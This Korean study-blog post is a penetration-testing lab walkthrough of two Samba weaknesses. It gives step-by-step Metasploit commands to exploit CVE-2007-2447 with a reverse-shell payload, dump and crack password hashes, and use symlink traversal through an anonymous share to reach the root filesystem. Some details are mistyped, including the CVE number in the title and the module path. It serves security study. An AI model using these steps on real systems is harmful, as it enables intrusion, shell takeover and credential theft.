Study Record

[모의해킹 시스템 취약점] Samba(CVE 2007-2477, 공유 설정 ) 본문

모의해킹

[모의해킹 시스템 취약점] Samba(CVE 2007-2477, 공유 설정 )

초코초코초코 2021. 11. 9. 10:15
728x90

※ samba port : 137-139 , 445

Samba Arbitrary Command Execution (CVE 2007-2447)

1. 관리자의 잘못된 설정 + 버그가 존재하는 취약점

MS-RPC 기능을 사용하는 Samba 3.0.0 버전에서 3.0.25rc3 사이의 smbd는 원격 공격자가 (1)SamrChangePassword 함수와 관련된 쉘 메타문자를 사용하여 임의의 명령어를 실행할 수 있으며, "username map script" 옵션이 활성화 되어 있는 경우, 인증된 원격 사용자가 (2)원격프린터 및 (3)파일 공유 관리에 관련한 다른 MS-RPC 기능을 이용하여 쉘 메타 문자를 통한 명령 실행을 할 수 있다. 근본적인 원인은 smb.conf에 정의된 외부 스크립트를 호출할 때 MS-RPC 호출을 통해 제공되는 필터링되지 않은 사용자 입력을 /bin/sh에 전달하는 것이다.

 

2. 공격 대상 서버의 취약점 점검

# ls -al /etc/samba/scripts/mapusers.sh

-rwxr-xr-x 1 root root 0 2010-4-28 02:41 /etc/samba/scripts/mapusers.sh

# vi /etc/samba/smb.conf

username map script = /etc/sambba/scripts/mapusers.sh

: 이 스크립트를 사용할 때 임의의 프로그램을 사용할 수 있다.

# smbd --version 

Version 3.0.20-Debian

: 취약한 버전을 사용하고 있다.

 

3. 공격 실습

 

공격 시나리오

Samba Arbitrary Command Execution (CVE 2007-2447) 를 통해 root 권한을 획득한 후 hashdump 를 사용하여 패스워크 크랙을 시도하여 사용자들의 패스워드를 알아낸다.

 

공격자(KaliLinux) : 192.168.10.50

공격 대상 : 192.168.10.134

 

[KaliLinux]

㉮ 공격대상 시스템 스캔한다.

# nmap -sV 192.168.10.134 -p 137-139,445

㉯ msfconsole 을 이용한 공격을 실행한다.

# msfconsole -q

msf > search samba

msf > use exploit/multi/sambba/usermap_script

msf > set RHOSTS 192.168.10.134

msf > set payload cmd/unix/reverse

msf > show options

msf > run

㉰ 다른 공격도 수행하기 위해 백그라운드로 현재 세션을 돌린다.

Ctrl + Z

msf > sessions -l

㉱ 해시덤프 공격을 수행한다. 여기서 세션은 이전 공격에서 얻었던 세션을 사용한다.

msf > use post/linux/gather/hashdump

msf > set SESSION 1

msf > run

㉲ 공격 결과 얻은 파일로 john CMD로 패스워드를 크랙한다.

# john --show /root/.msf4/loot/20211109102050_default_192.168.10.134_linux.hashes_920797.txt

패스워드 크랙이 완료되었다.

 

☞ 공격 대상 측 분석

# netstat -antup | grep EST

# ps -ef | grep 5577

# ps -ef | grep 4444

 

Samba 공유 설정 중 wide links 옵션 취약점

 

1. 관리자의 잘못된 설정

writable 파일 공유가 설정이 되면 wide links 옵션이 기본적으로 on이 된다. 이런 경우, 공유되지 않은 파일들에 백도어를 사용하여 접근이 가능하다.

# testparm -s

위의 그림에서 read only 가 No로 되어있으면 read/write 가 가능하다는 의미이고 guest ok 가 yes 이면 익명 사용자가 접근할 수 있다. 

# testparm -s -v | grep link

위의 그림에서 wide links 와 follow symlinks 가 yes 로 되어있으면 심볼릭 링크를 생성하는 것이 가능하다.

 

2. 공격 실습

 

☞ 공격 시나리오

익명의 사용자가 wirteable 공유를 사용하여 root 파일시스템에 접근한다.

 

공격자(KaliLinux) : 192.168.10.50

공격자(Linux) : 192.168.10.200

공격 대상(meta) : 192.168.10.134

 

☞ 공격 실습

[KaliLinux]

㉮ 공격 대상 시스템에 samba 를 사용하는지 확인한다.

# nmap -sV -O -p 137-139,445 192.168.10.134

[Linux]

㉯ 공격 대상 시스템의 삼바 공유 설정을 확인한다. 결과 tmp 라는 곳에 익명으로 로그인을 할 수 있다고 나왔다.

# smbclient -L 192.168.10.134 -N

[KaliLinux]

㉰ msfconsle 을 이용하여 상대평 tmp 에 익명으로 접근하여 심볼릭 링크를 이용하여 root파일시스템에 접근하는 공격을 한다.

msf6 > search samba link

msf6 > use auxiliary/admin/smb/samba_symlink_traversal

msf6 > set RHOSTS 192.168.10.134

msf6 > set SMBSHARE tmp

msf6 > run 

공격 결과 공격대상시스템의 tmp에 rootfs 라는 root filesystem에 접근할 수 있는 파일이 만들어졌다.

[Linux]

㉱ 직접 samba 에 접속하여 root filesystem 에 접근할 수 있는지 확인해본다.

# smbclient //192.168.10.134/tmp

[meta]

㉲ 공격 대상 시스템에서 rootfs 가 어떤 파일인지 확인해본다.

rootfs 는 "../../../../../../../..." 를 가르키는 심볼릭 링크 파일이다. 이런식으로 최상위인 /(root)까지 도달한다.

728x90